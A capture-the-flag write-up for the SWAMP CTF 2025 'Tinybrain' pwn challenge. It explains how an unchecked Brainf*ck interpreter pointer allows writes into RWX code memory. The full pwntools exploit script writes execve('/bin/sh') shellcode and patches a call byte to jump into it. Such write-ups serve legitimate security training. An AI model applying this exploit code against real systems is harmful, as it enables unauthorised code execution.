SWAMP CTF 2025 - Tinybrain
Category : PWN
Phreaks 2600
You can find this writeup at Phreaks 2600 website
Context
This challenge was about a vulnerable Brainf*ck interpreter. Here are the allowed instruction set :
+: increment the value pointed by array cursor-: decrement the value pointed by array cursor>: increment the cursor (shift the pointer to the right)<: decrement the cursor (shift the pointer to the left)[: start a loop until the value of the cursor is 0]: end of the loop, jump to the previous[.: print a char in ASCII convention in STDOUT,: input of a char in STDIN
Vulnerabilty
There was an out-of-bounds because no bounds verification was made when using > and < instructions.
Strategy
Because the .text segment was mapped as RWX, it was possible to write our shellcode somewhere and redirect execution flow . We could see this as a “VM escape”.
I started to code the helper functions that will be useful for the final payload :
11
2def right(x):
3 return b'>'*x
4
5def left(x):
6 return b'<'*x
7
8def add(x):
9 return b'+'*x
10
11def set_to_zero():
12 return b'[-]'
13
14def set_to(x):
15 return set_to_zero() + add(x)
16
17def getchar():
18 return b','The buffer starts at 0x403800 but i have to do an out-of-bounds to escape the interpreter.
I will start writing my shellcode at 0x4010ba.
However, i have to notify the interpreter that i want to jump to my shellcode at 0x4010ba. How can i do that ?
Redirection of execution flow
We can overwrite anything, anywhere : why not overwriting interpreter code directly ?
I could change call 0x40102a (at address 0x40101e) to call 0x4010ba (address of shellcode) by changing one byte :
Before byte overwrite :
0x40101e: 0x0000[07]e8 <call 0x40102a>
After byte overwrite :
0x40101e: 0x0000[97]e8 <call 0x4010ba>The overwriting of 0x97 value at 0x40101f will redirect the execution flow into our shellcode.
Of course, we have to do this after writing our shellcode because it will break the interpreter and we won’t be able to parse any brainf*ck code again.
Here is the layout of the final payload :
+----------+
| 0x401000 | <- start of interpreter code
+----------+
| ... |
+----------+
| 0x40101e | <- (call 0x40102a) that will become (call 0x4010ba) -----+
+----------+ |
| ... | |
+----------+ |
+--> | 0x4010ba | <- start of our shellcode <-----------------------------+
| +----------+
| | ... |
| +----------+
+--- | 0x403800 | <- Contains payload full of '<' with shellcode
+----------+Exploit
11
2from pwn import *
3
4def right(x):
5 return b'>'*x
6
7def left(x):
8 return b'<'*x
9
10def add(x):
11 return b'+'*x
12
13def set_to_zero():
14 return b'[-]'
15
16def set_to(x):
17 return set_to_zero() + add(x)
18
19def getchar():
20 return b','
21
22def write_shellcode():
23 shellcode = asm(shellcraft.amd64.execve("/bin/sh"),arch="amd64")
24 z = b""
25 for i in shellcode:
26 z += set_to(i)
27 z += right(1)
28 return z
29
30payload = left(0x403800-0x4010ba) + write_shellcode() + left(192) + getchar() + b'.'+ b'q'
31p = remote("chals.swampctf.com",41414)
32p.send(payload)
33p.send(p8(0x97))
34p.interactive()Notes
This challenge should be called with a filename in
argv[1]to work locally. But in remote, an input was provided.